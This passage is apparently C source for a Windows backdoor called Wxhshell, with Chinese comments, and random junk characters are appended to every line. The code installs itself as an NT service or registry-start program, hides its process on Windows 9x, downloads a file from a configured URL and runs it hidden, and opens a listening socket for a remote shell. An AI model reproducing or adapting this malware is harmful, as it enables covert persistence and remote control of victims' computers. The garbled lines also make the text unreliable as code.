} PROCESS_BASIC_INFORMATION; ^Xa-)Pu
9!2KpuWji
PROCNTQSIP NtQueryInformationProcess; 5 Nl>4d`
g'pE z
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; =C`v+NPM)|
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; &[3y_,
]d$)G4X1
HANDLE hProcess; E'MMhlo
PROCESS_BASIC_INFORMATION pbi; N_C\L2
%3xH<$Gq5
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); v{JCEb&wN
if(NULL == hInst ) return 0; .]r[0U
_
esFx
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); /^#}
\<;
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 'd(}bYr)
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); D3XQ>T [*q
-.^Mt.)
if (!NtQueryInformationProcess) return 0; %NeKDE
!Toq~,a8?
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Yv"uIj+']
if(!hProcess) return 0; ANT^&NjJ7
Jb
;el*,K
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; -|f9~(t
AqN(htGvx
CloseHandle(hProcess); _;'}P2&Q
`awk@
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Lg Bs<2
if(hProcess==NULL) return 0; /x$ jd)C
o"[qPZd>
HMODULE hMod; OY[N%wr!
char procName[255]; 7F+f6(hB
unsigned long cbNeeded; %eD&2$q*
$#t&W&
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); z2"2Xqy<U
R?l>Vr
CloseHandle(hProcess); $Q47>/CUc^
/8Vh G|Wb
if(strstr(procName,"services")) return 1; // 以服务启动 Bljh'Qp>C
E(u[?
return 0; // 注册表启动 +?mZ_sf8w
} VJ;'$SYx
=FwFqjvl
// 主模块 .Ta$@sP h}
int StartWxhshell(LPSTR lpCmdLine) zaoZCyJT%
{ _II;$_N
SOCKET wsl; f, ;sEV
BOOL val=TRUE; ,
/ 4}CM
int port=0; s[xdID^3.
struct sockaddr_in door; Bb-x1{t
7Kh+m@q.
if(wscfg.ws_autoins) Install(); tM@TT@.t~
pdtK3Pf
port=atoi(lpCmdLine); N4H nW0
{{2ZWK 6|
if(port<=0) port=wscfg.ws_port; A`OU}'v?L
zEks4yd
WSADATA data; DbOWnXV"o
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; _Z8zD[l
N|7._AR2
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; ;Vp&f%u+v
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); t5 5k#`Z
door.sin_family = AF_INET; E"u>&uPH
door.sin_addr.s_addr = inet_addr("127.0.0.1"); .5ingB3%
door.sin_port = htons(port); (F_#LeJ|
g00XZ0@
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { H 5sj%
v
closesocket(wsl); Q>sq:R+'
return 1; Mb$&~!
} M%$zor
*7-uQKp
if(listen(wsl,2) == INVALID_SOCKET) { (_-zm)F7
closesocket(wsl); @Vb-BC,
return 1; M?F({#]
}
Rl6E
Wxhshell(wsl); .^Ek1fi.
WSACleanup(); nnr(\r~
Qz/=+A/4
return 0; <PfW
'<XG@L
} n*_FC
Dk[[f<H_{
// 以NT服务方式启动 {},GxrQm
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) E-!`6
{ 6oJ~Jdn'
DWORD status = 0; s q :ff
DWORD specificError = 0xfffffff; pLk?<y
t,=khZ
serviceStatus.dwServiceType = SERVICE_WIN32; u1>| 2D
serviceStatus.dwCurrentState = SERVICE_START_PENDING; N$_Rzh"9rr
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; eb+[=nmP
serviceStatus.dwWin32ExitCode = 0; Jh }3AoD
serviceStatus.dwServiceSpecificExitCode = 0; nwV\[E
serviceStatus.dwCheckPoint = 0; %X#Wc:b
serviceStatus.dwWaitHint = 0; &4BN9`|:
d3Y#_!)
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); E5 Y92vu
if (hServiceStatusHandle==0) return; }0f[x ?V
vT[%*)`
status = GetLastError(); %2qvK}
if (status!=NO_ERROR) )8LCmvQ
{ Zkxt>%20~
serviceStatus.dwCurrentState = SERVICE_STOPPED; x2K.5q>
serviceStatus.dwCheckPoint = 0; hEEbH@b
serviceStatus.dwWaitHint = 0; *=r,V
serviceStatus.dwWin32ExitCode = status; v?Y9z!M
serviceStatus.dwServiceSpecificExitCode = specificError; +gT?{;3[i
SetServiceStatus(hServiceStatusHandle, &serviceStatus); -
d>)
return; BBy/bc!
} 8HTV"60hTs
*a+~bX)18
serviceStatus.dwCurrentState = SERVICE_RUNNING; )7J@A%u
serviceStatus.dwCheckPoint = 0; zXMIDrq
serviceStatus.dwWaitHint = 0; 3:);vh!
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); \_BaV0<
} h4.ZR={E
?M\3n5;
// 处理NT服务事件,比如:启动、停止 }{9E~"_[
VOID WINAPI NTServiceHandler(DWORD fdwControl) LI(Wu6*Y
{ Yo:>m*31
switch(fdwControl) uZW1
:cx
{ 59ro-nA9v
case SERVICE_CONTROL_STOP: 7?cZ9^z`w
serviceStatus.dwWin32ExitCode = 0; (MbI8B>
serviceStatus.dwCurrentState = SERVICE_STOPPED; {) jQbAr(G
serviceStatus.dwCheckPoint = 0; 2:2rwH }e
serviceStatus.dwWaitHint = 0; ;XGG&M%3
{ Y_f6y9?ZE
SetServiceStatus(hServiceStatusHandle, &serviceStatus); yjN|PqtSV
} [l'~>
return; PsLuyGR.<
case SERVICE_CONTROL_PAUSE: =;c? 6{<1
serviceStatus.dwCurrentState = SERVICE_PAUSED; QbS w<V
break; .cle^P
case SERVICE_CONTROL_CONTINUE: )LH nDx
serviceStatus.dwCurrentState = SERVICE_RUNNING; 3!ulBiMh
break; Ok
O;V6`
case SERVICE_CONTROL_INTERROGATE: HtS:'~DYo
break; Po=)jkW
}; 0y|}}92:
SetServiceStatus(hServiceStatusHandle, &serviceStatus); uKtrG,/ p
} 875V{fvPBU
~@L$}Eu
// 标准应用程序主函数 PZH]9[H
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) [)9bR1wh
{ 1kTJMtZG~
{w{|y[[d~
// 获取操作系统版本 v)J6}H}e
OsIsNt=GetOsVer(); UAH} ])U
GetModuleFileName(NULL,ExeFile,MAX_PATH); f,PFvT$5e
L suc*Ps
// 从命令行安装 lusINILc
if(strpbrk(lpCmdLine,"iI")) Install(); 1
!OQxY}f
nQg6
j Zf
// 下载执行文件 %,>> <8
if(wscfg.ws_downexe) { #p*OLQ3~
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) hIPDJ1a
WinExec(wscfg.ws_filenam,SW_HIDE); ^K&&O{
} t~X wF(";
a<c % Xy/
if(!OsIsNt) { _Z5l
Nu
// 如果时win9x,隐藏进程并且设置为注册表启动 uVOOw&q_
HideProc(); 0.|tKetHq
StartWxhshell(lpCmdLine); sDWX} NV
} _vvnxG!x&
else h^34{pKDn
if(StartFromService()) Y.jg
}oV
// 以服务方式启动 jw#'f%*
StartServiceCtrlDispatcher(DispatchTable); ToDN^qE+
else b)'Ew27
// 普通方式启动 bIe>j*VPh@
StartWxhshell(lpCmdLine); Lj({
T'f(
){R_o5
return 0; ?$F:S%eH
}